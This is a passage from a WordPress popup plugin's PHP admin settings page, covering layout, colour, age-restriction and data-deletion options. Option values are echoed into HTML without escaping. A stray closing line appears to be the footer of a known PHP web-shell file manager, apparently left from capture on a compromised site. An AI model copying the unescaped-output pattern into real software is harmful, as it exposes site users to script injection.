                             title="<?php _e('Show the countdown at the bottom of the popup which dispay the time before popup will close. If is hidden, it run anyway.', 'itro-plugin'); ?>">
                        <br>
                        <?php _e("Countdown text:", 'itro-plugin'); ?>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>" title="<?php _e('Countdown text at the bottom border of the popup', 'itro-plugin'); ?>">
                        <input type="text" placeholder="This popup will close in:" name="<?php echo $opt_name[36]; ?>" value="<?php echo $opt_val[36]; ?>" size="40">
                        <br>
                        <?php _e("Countdown font color:", 'itro-plugin'); ?>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>" title="<?php _e('Select the countdown font color.', 'itro-plugin'); ?>">
                        <input type="text" class="color" name="<?php echo $opt_name[21]; ?>" value="<?php echo $opt_val[21]; ?>" size="10">
                    </p>

                    <h3><?php _e("POPUP ASPECT", "itro-plugin") ?></h3>

                    <!-- popup width !-->
                    <div style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup width:", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                   title="<?php _e("Use the % to change width dinamically with the browser window , or px for fixed dimension i.e: 30% or 200px",
                                                                                                       'itro-plugin'); ?>"></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[3], $opt_val[3], 0, 1500, 10, 0, 'px') ?>
                        <?php itro_slidebar($opt_name[3], $opt_val[3], 0, 100, 1, 0, 'perc') ?>
                        <input type="text" class="itro_text_input" style="<?php if (itro_get_option('select_' . $opt_name[3]) != 'px') {
                            echo 'display:none;';
                        } ?>" id="<?php echo 'px_' . $opt_name[3]; ?>" name="<?php echo 'px_' . $opt_name[3]; ?>" value="<?php echo $px_opt_val[3]; ?>" size="1">
                        <input type="text" class="itro_text_input" style="<?php if (itro_get_option('select_' . $opt_name[3]) != 'perc') {
                            echo 'display:none;';
                        } ?>" id="<?php echo 'perc_' . $opt_name[3]; ?>" name="<?php echo 'perc_' . $opt_name[3]; ?>" value="<?php echo $perc_opt_val[3]; ?>" size="1">
                        <select id="select_<?php echo $opt_name[3]; ?>" name="select_<?php echo $opt_name[3]; ?>" style="position:relative; left:7px;">
                            <option value="px" onClick="itro_enable_<?php echo $opt_name[3]; ?>('px')" <?php if (itro_get_option('select_' . $opt_name[3]) == 'px') {
                                echo 'selected="select"';
                            } ?>>px
                            </option>
                            <option value="perc" onClick="itro_enable_<?php echo $opt_name[3]; ?>('perc')" <?php if (itro_get_option('select_' . $opt_name[3]) == 'perc') {
                                echo 'selected="select"';
                            } ?>>%
                            </option>
                        </select>
                    </div>

                    <!-- popup height !-->
                    <div id="<?php echo $opt_name[17]; ?>_div" style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup height:", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                    title="<?php _e("Select auto to adapt popup height to the content", 'itro-plugin'); ?>"></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[17], $opt_val[17], 0, 750, 5, 0, 'px') ?>
                        <?php itro_slidebar($opt_name[17], $opt_val[17], 0, 100, 1, 0, 'perc') ?>
                        <input type="text" class="itro_text_input" style="<?php if (itro_get_option('select_' . $opt_name[17]) != 'px') {
                            echo 'display:none;';
                        } ?>" id="<?php echo 'px_' . $opt_name[17]; ?>" name="<?php echo 'px_' . $opt_name[17]; ?>" value="<?php echo $px_opt_val[17]; ?>" size="1">
                        <input type="text" class="itro_text_input" style="<?php if (itro_get_option('select_' . $opt_name[17]) != 'perc') {
                            echo 'display:none;';
                        } ?>" id="<?php echo 'perc_' . $opt_name[17]; ?>" name="<?php echo 'perc_' . $opt_name[17]; ?>" value="<?php echo $perc_opt_val[17]; ?>" size="1">
                        <select id="select_<?php echo $opt_name[17]; ?>" name="select_<?php echo $opt_name[17]; ?>" style="position:relative; left:7px;">
                            <option value="px" onClick="itro_enable_<?php echo $opt_name[17]; ?>('px')" <?php if (itro_get_option('select_' . $opt_name[17]) == 'px') {
                                echo 'selected="select"';
                            } ?>>px
                            </option>
                            <option value="perc" onClick="itro_enable_<?php echo $opt_name[17]; ?>('perc')" <?php if (itro_get_option('select_' . $opt_name[17]) == 'perc') {
                                echo 'selected="select"';
                            } ?>>%
                            </option>
                            <option value="auto" onClick="itro_disable_<?php echo $opt_name[17]; ?>();" <?php if (itro_get_option('select_' . $opt_name[17]) == 'auto') {
                                echo 'selected="select"';
                            } ?>>auto
                            </option>
                        </select>
                    </div>

                    <!-- background and border color !-->
                    <p><?php _e("Popup background color", 'itro-plugin'); ?>
                        <input type="text" class="color" name="<?php echo $opt_name[4]; ?>" value="<?php echo $opt_val[4]; ?>" size="10">&nbsp;&nbsp;&nbsp;&nbsp;
                        <?php _e("Popup border color:", 'itro-plugin'); ?>
                        <input type="text" class="color" name="<?php echo $opt_name[5]; ?>" value="<?php echo $opt_val[5]; ?>" size="10">
                    </p>

                    <!-- border radius !-->
                    <div id="<?php echo $opt_name[20]; ?>_div" style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup border radius(px):", 'itro-plugin'); ?></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[20], $opt_val[20], 0, 200, 1, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[20]; ?>" name="<?php echo $opt_name[20]; ?>" value="<?php echo $opt_val[20]; ?>" size="1">
                    </div>

                    <!-- border width !-->
                    <div id="<?php echo $opt_name[27]; ?>_div" style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup border width(px):", 'itro-plugin'); ?></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[27], $opt_val[27], 0, 50, 1, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[27]; ?>" name="<?php echo $opt_name[27]; ?>" value="<?php echo $opt_val[27]; ?>" size="1">
                    </div>

                    <!-- popup padding !-->
                    <div id="<?php echo $opt_name[31]; ?>_div" style="display:table; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup padding(px):", 'itro-plugin'); ?></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[31], $opt_val[31], 0, 100, 1, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[31]; ?>" name="<?php echo $opt_name[31]; ?>" value="<?php echo $opt_val[31]; ?>" size="1">
                    </div>

                    <!-- popup position !-->
                    <p><?php _e("Popup position:", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                           title="<?php _e("Setting ABSOLUTE the popup will be static on the page. Setting FIXED it will scroll with the page.", 'itro-plugin'); ?>">
                        <select name="<?php echo $opt_name[16]; ?>" style="min-width:100px;">
                            <option value="absolute" <?php if (itro_get_option($opt_name[16]) == 'absolute') {
                                echo 'selected="select"';
                            } ?> >Absolute
                            </option>
                            <option value="fixed" <?php if (itro_get_option($opt_name[16]) == 'fixed') {
                                echo 'selected="select"';
                            } ?> >Fixed
                            </option>
                        </select>
                    </p>

                    <h4><?php _e("TOP MARGIN", 'itro-plugin'); ?></h4>
                    <p>
                        <input id="<?php echo $opt_name[30]; ?>" type="checkbox" name="<?php echo $opt_name[30]; ?>" value="yes" <?php if (itro_get_option($opt_name[30]) == 'yes') {
                            echo 'checked="checked"';
                        } ?> />
                        <span id="span_<?php echo $opt_name[30]; ?>" onclick="itro_mutual_check('<?php echo $opt_name[30]; ?>','','');"><?php _e("Automatic top margin:", 'itro-plugin'); ?></span>
                        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                             title="<?php _e("The system will try to center the popup automatically, unselect it if you encounter any issues", 'itro-plugin'); ?>">
                    </p>

                    <!-- popup top margin !-->
                    <div id="top_margin_slider" style=" <?php if (itro_get_option($opt_name[30]) == 'yes') {
                        echo 'display:none';
                    } else {
                        echo 'display:table';
                    } ?>; height:10px; padding-bottom:5px;">
                        <span style="float:left;"><?php _e("Popup top margin(px):", 'itro-plugin'); ?></span>
                        &nbsp;&nbsp;&nbsp;
                        <?php itro_slidebar($opt_name[1], $opt_val[1], 0, 750, 5, 0, '') ?>
                        <input type="text" class="itro_text_input" id="<?php echo $opt_name[1]; ?>" name="<?php echo $opt_name[1]; ?>" value="<?php echo $opt_val[1]; ?>" size="1">
                    </div>
                    <?php echo itro_show_hide(array('top_margin_slider'), $opt_name[30], 'table', FALSE, array('yellow', 300)); ?>

                    <h4><?php _e("BACKGROUND IMAGE", 'itro-plugin'); ?></h4>
                    <a href="<?php if (itro_get_option('background_source') == NULL) {
                        echo 'javascript:void(0)';
                    } else {
                        echo itro_get_option('background_source');
                    } ?>"><?php _e('Show image', 'itro-plugin') ?></a>

                    <input type="radio" name="<?php echo $opt_name[22]; ?>" value="" <?php if ($opt_val[22] == 'no' || $opt_val[22] == NULL) {
                        echo 'checked="checked"';
                    } ?>/>
                    <?php _e("No background", 'itro-plugin'); ?><br>
                    <input type="radio" id="yes_bg" name="<?php echo $opt_name[22]; ?>" value="yes" <?php if ($opt_val[22] == 'yes') {
                        echo 'checked="checked"';
                    } ?>/>
                    <input class="upload" onClick="select(); document.getElementById('yes_bg').checked=true" type="text" name="background_source" size="50" value="<?php echo itro_get_option('background_source'); ?>"/>
                    <input class="button ipp_upload_button" type="button" name="bg_upload_button" value="<?php _e('Upload Image', 'itro-plugin') ?>"/>


                    <div id="<?php echo $opt_name[30]; ?>_div">
                        <h4><?php _e("OPAQUE LAYER", 'itro-plugin'); ?></h4>
                        <!-- background opacity !-->
                        <div style="display:table; height:10px; padding-bottom:5px;">
                            <span style="float:left;"><?php _e("Layer opacity", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                                                        title="<?php _e("Set the opacity of opaque layer under the popup.", 'itro-plugin'); ?>"></span>
                            &nbsp;&nbsp;&nbsp;
                            <?php itro_slidebar($opt_name[25], $opt_val[25], 0, 1, 0.05, 2, '') ?>
                            <input type="text" class="itro_text_input" id="<?php echo $opt_name[25]; ?>" name="<?php echo $opt_name[25]; ?>" value="<?php echo $opt_val[25]; ?>" size="1">
                        </div>
                        <script type="text/javascript">
                            document.getElementById("<?php echo $opt_name[25]; ?>_slider_container").addEventListener("mousedown", update, false);
                            document.getElementById("<?php echo $opt_name[25]; ?>_slider_container").addEventListener("mouseup", update, false);
                            document.getElementById("<?php echo $opt_name[25]; ?>_slider_container").addEventListener("keydown", update, false);

                            function update()
                            {
                                document.getElementById("<?php echo $opt_name[26]; ?>").style.opacity = document.getElementById("<?php echo $opt_name[25]; ?>").value;
                                document.addEventListener("mousemove", update, false);
                            }

                            function stop()
                            {
                                document.removeEventListener("mousemove", update, false);
                            }
                        </script

                                <!-- opaco color !-->
                        <p><?php _e("Layer color", 'itro-plugin'); ?>
                            <input type="text" class="color" id="<?php echo $opt_name[26]; ?>" name="<?php echo $opt_name[26]; ?>" style="opacity:<?php echo $opt_val[25]; ?> ;" value="<?php echo $opt_val[26]; ?>" size="10">&nbsp;&nbsp;&nbsp;&nbsp;
                        </p>

                        <h4><?php _e("CLOSE CROSS", 'itro-plugin'); ?></h4>
                        <!-- close cross selection !-->
                        <p><?php _e("Select image", 'itro-plugin'); ?> <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                                                            title="<?php _e("Select the colour combination of the closing cross on the upper right of popup.", 'itro-plugin'); ?>">
                            <select name="<?php echo $opt_name[33]; ?>" style="min-width:100px;">
                                <option value="black" <?php if (itro_get_option($opt_name[33]) == 'black') {
                                    echo 'selected="select"';
                                } ?> ><?php _e("Black", 'itro-plugin'); ?></option>
                                <option value="white" <?php if (itro_get_option($opt_name[33]) == 'white') {
                                    echo 'selected="select"';
                                } ?> ><?php _e("White", 'itro-plugin'); ?></option>
                                <option value="white_border" <?php if (itro_get_option($opt_name[33]) == 'white_border') {
                                    echo 'selected="select"';
                                } ?> ><?php _e("White with border", 'itro-plugin'); ?></option>
                                <option value="url" <?php if (itro_get_option($opt_name[33]) == 'url') {
                                    echo 'selected="select"';
                                } ?> ><?php _e("Custom URL", 'itro-plugin'); ?></option>
                            </select>
                            <!-- custom cross image url !-->
                        <p>
                            <?php _e("Image custom URL", 'itro-plugin'); ?>
                            <a href="<?php if ($opt_val[37] == NULL) {
                                echo 'javascript:void(0)';
                            } else {
                                echo $opt_val[37];
                            } ?>"><?php _e('Show image', 'itro-plugin') ?></a>
                            <input class="upload" onClick="select();" type="text" name="<?php echo $opt_name[37]; ?>" size="50" value="<?php echo $opt_val[37]; ?>"/>
                            <input class="button ipp_upload_button" type="button" name="close_img_upload" value="<?php _e('Upload Image', 'itro-plugin') ?>"/>
                        </p>
                        <?php echo __("TIP: tag ID for css customization: #close_cross", 'itro-plugin') . "<br>" . __("If you cannot see difference, try to use the '!important' css directive.", 'itro-plugin'); ?>
                        </p>

                        <!-- RESPONSIVE SETTINGS -->
                        <h3><?php _e("RESPONSIVE SETTINGS", "itro-plugin") ?></h3>
                        <p>
                            <!-- disable on mobile -->
                            <input type="checkbox" id="<?php echo $opt_name[32]; ?>" name="<?php echo $opt_name[32]; ?>" value="yes" <?php if ($opt_val[32] == 'yes') {
                                echo 'checked="checked"';
                            } ?> />
                            <span onclick="itro_mutual_check('<?php echo $opt_name[32]; ?>','','')"><?php _e("Disable on mobile device", 'itro-plugin'); ?></span>
                            <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>" title="<?php _e('Check this to disable popup on mobile devices', 'itro-plugin'); ?>">
                            &nbsp;&nbsp;&nbsp;&nbsp;
                            <!-- absolute position for mobile -->
                            <input type="checkbox" id="<?php echo $opt_name[35]; ?>" name="<?php echo $opt_name[35]; ?>" value="yes" <?php if ($opt_val[35] == 'yes') {
                                echo 'checked="checked"';
                            } ?> />
                            <span onclick="itro_mutual_check('<?php echo $opt_name[35]; ?>','','')"><?php _e("Absolute position for mobile", 'itro-plugin'); ?></span>
                            <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                                 title="<?php _e('Set an absolute position for the pop-up. It is useful for mobile devices if your popup is too high', 'itro-plugin'); ?>">

                        </p>
                    </div>

                </div>

                <!------------ Age restriction option  ---------->
                <?php echo itro_onOff('ageRestSettings', 'hidden'); ?>
                <p class="wpstyle" onClick="onOff_ageRestSettings();"><?php _e("Age restriction settings:", 'itro-plugin'); ?> </p>
                <div id="ageRestSettings">
                    <p>
                        <input id="<?php echo $opt_name[6]; ?>" type="checkbox" name="<?php echo $opt_name[6]; ?>" value="yes" <?php if ($opt_val[6] == 'yes') {
                            echo 'checked="checked"';
                        } ?> />
                        <span id="span_<?php echo $opt_name[6]; ?>" onclick="itro_mutual_check('<?php echo $opt_name[6]; ?>','','');"><?php _e("Enable age validation", 'itro-plugin'); ?></span>
                    </p>
                    <div id="<?php echo $opt_name[6]; ?>_div">
                        <p><?php _e("Enter button text:", 'itro-plugin'); ?>
                            <input type="text" name="<?php echo $opt_name[7]; ?>" value="<?php echo $opt_val[7]; ?>" placeholder="<?php _e("i.e.: I AM OVER 18 - ENTER", 'itro-plugin'); ?>" size="40">
                        </p>
                        <p><?php _e("Enter button url:", 'itro-plugin'); ?>
                            <input type="text" name="<?php echo $opt_name[34]; ?>" value="<?php echo $opt_val[34]; ?>" placeholder="<?php _e("i.e.: http://www.mysite.com/enter.html", 'itro-plugin'); ?>" size="40">
                        </p>

                        <div id="<?php echo $opt_name[6] . '_advanced_1'; ?>">
                            <p><?php _e("Enter button background color:", 'itro-plugin'); ?>
                                <input type="text" class="color" name="<?php echo $opt_name[10]; ?>" value="<?php echo $opt_val[10]; ?>" size="10">
                            </p>
                            <p><?php _e("Enter button border color:", 'itro-plugin'); ?>
                                <input type="text" class="color" name="<?php echo $opt_name[11]; ?>" value="<?php echo $opt_val[11]; ?>" size="10">
                            </p>
                            <p><?php _e("Enter button font color:", 'itro-plugin'); ?>
                                <input type="text" class="color" name="<?php echo $opt_name[14]; ?>" value="<?php echo $opt_val[14]; ?>" size="10">
                            </p>
                        </div>

                        <p><?php _e("Leave button text:", 'itro-plugin'); ?>
                            <input type="text" name="<?php echo $opt_name[8]; ?>" value="<?php echo $opt_val[8] ?>" placeholder="<?php _e("i.e.: I AM UNDER 18 - LEAVE", 'itro-plugin'); ?>" size="40">
                        </p>
                        <p><?php _e("Leave button url:", 'itro-plugin'); ?>
                            <input type="text" name="<?php echo $opt_name[9]; ?>" value="<?php echo $opt_val[9]; ?>" placeholder="<?php _e("i.e.: http://www.mysite.com/leave.html", 'itro-plugin'); ?>" size="40">
                        </p>

                        <div id="<?php echo $opt_name[6] . '_advanced_2'; ?>">
                            <p><?php _e("Leave button background color:", 'itro-plugin'); ?>
                                <input type="text" class="color" name="<?php echo $opt_name[12]; ?>" value="<?php echo $opt_val[12]; ?>" size="10">
                            </p>
                            <p><?php _e("Leave button border color:", 'itro-plugin'); ?>
                                <input type="text" class="color" name="<?php echo $opt_name[13]; ?>" value="<?php echo $opt_val[13]; ?>" size="10">
                            </p>
                            <p><?php _e("Leave button font color:", 'itro-plugin'); ?>
                                <input type="text" class="color" name="<?php echo $opt_name[15]; ?>" value="<?php echo $opt_val[15]; ?>" size="10">
                            </p>
                        </div>

                    </div>
                </div>
                <?php echo itro_show_hide(array($opt_name[6] . '_div'), $opt_name[6], 'table', TRUE, array('yellow', 300)); ?>
            </div>
            <hr>
            <p class="submit">
                <input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>"/>&nbsp;&nbsp;&nbsp;&nbsp;
                <input type="button" target="_blank" class="button" onClick="window.open('<?php echo get_site_url() . '/?itro_preview=yes' ?>')" value="<?php echo _e('Preview page', 'itro-plugin') ?>">
            </p>
        </div>

        <div id="rightColumn">
            <!-- A simple not annoying banner, please do not remove, we use it to quickly comunicate with you about premium and free! !-->
            <p class="wpstyle" onClick="jQuery('#premium_ads').toggle('blind');"><?php _e('ITRO Popup messages', 'itro-plugin'); ?> </p>
            <div id="premium_ads" style="text-align: center;">
                <a target="_blank" href="http://www.itroteam.com"><img title="TRY IT FOR FREE!!!" src="https://www.itroteam.com/plugins/premium_banner.png"></a>
            </div>

            <input type="hidden" name="<?php echo $submitted_form; ?>" value="Y">
            <!------- Custom html field -------->
            <p class="wpstyle" onClick="jQuery('#customHtmlForm').toggle();"><?php _e("Your text (or HTML code):", 'itro-plugin'); ?> </p>
            <div id="customHtmlForm">
                <?php
                $content = stripslashes($field_value);
                wp_editor($content, 'custom_html', array('textarea_name' => 'custom_html', 'teeny' => FALSE, 'media_buttons' => TRUE, 'wpautop' => FALSE)); ?>
                <br><br>
                <hr>
                <p class="submit">
                    <input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>"/>&nbsp;&nbsp;&nbsp;&nbsp;
                    <input type="button" target="_blank" class="button" onClick="window.open('<?php echo get_site_url() . '/?itro_preview=yes' ?>')" value="<?php echo _e('Preview page', 'itro-plugin') ?>">
                </p>
            </div>
        </div>
    </form>
    <div id="rightColumn2">
        <div id="donateForm">
            <h3><?php _e("Like it? Leave us a 5 stars review! ;-)", "itro-plugin") ?> <a href="https://wordpress.org/support/view/plugin-reviews/itro-popup?filter=5" target="_blank"><img id="stars_review_img"
                                                                                                                                                                                           src="<?php echo itroImages . '5_stars.png'; ?>"></a>
            </h3>
            <p>
                <?php _e("Our plugin is totally free, without annoying ads. Supporting us with a good review is very important for our work. Thank you!", "itro-plugin"); ?>
            </p>
        </div>
        <p class="wpstyle" onClick="jQuery('#debug_info').toggle();"><?php _e("System Status", 'itro-plugin'); ?> </p>
        <div method="POST" action="" id="debug_info" style="display:none;">
            <?php echo itro_get_serverinfo(); ?>
            <form method="post" style="clear:both;">
                <?php wp_nonce_field('ipp_save_data', 'ipp_cleardb_nonce_fld'); ?>
                <br>
                <hr>
                <input type="hidden" name="force_tables_installation" value="Y">
                <span><?php _e("FORCE TABLE INSTALLATION", 'itro-plugin'); ?></span>
                <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
                     title="<?php _e('If in the System Status you see "Plugin DB Status - Installed tables: no tables" click this button to force the installation of our plugin tables', 'itro-plugin'); ?>">
                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                <input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('FORCE') ?>"/>&nbsp;&nbsp;&nbsp;&nbsp;
            </form>
        </div>
    </div>

    <form id="delete_data" method="post" style="clear:both;">
        <?php wp_nonce_field('ipp_save_data', 'ipp_cleardb_nonce_fld'); ?>
        <br>
        <hr>
        <input type="hidden" name="delete_data_hidden" value="Y">
        <input type="checkbox" id="delete_data" name="delete_data" value="yes" <?php if (itro_get_option('delete_data') == 'yes') {
            echo 'checked="checked"';
        } ?> />
        <span><?php _e("DELETE ALL DATA ON PLUGIN UNINSTALL", 'itro-plugin'); ?></span>
        <img style="vertical-align:super; cursor:help" src="<?php echo itroImages . 'question_mark.png'; ?>"
             title="<?php _e('Check this box if you want to delete or maintain database tables. It is usefull if you have to try to install again the plugin, without lost your settings.', 'itro-plugin'); ?>">
        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <input type="submit" name="Submit" class="button-primary" value="<?php esc_attr_e('Save Changes') ?>"/>&nbsp;&nbsp;&nbsp;&nbsp;
    </form>


<?php
$itro_hide_args = array(
    $opt_name[24] . '_div',
    $opt_name[29] . '_div',
    $opt_name[17] . '_div',
    $opt_name[20] . '_div',
    $opt_name[27] . '_div',
    $opt_name[30] . '_div',
    $opt_name[31] . '_div',
    $opt_name[23] . '_div',
    $opt_name[6] . '_advanced_1',
    $opt_name[6] . '_advanced_2',
);
echo itro_show_hide($itro_hide_args, $opt_name[28], 'table', TRUE, array('yellow', 10000));
?>

Youez - 2016 - github.com/yon3zu
LinuXploit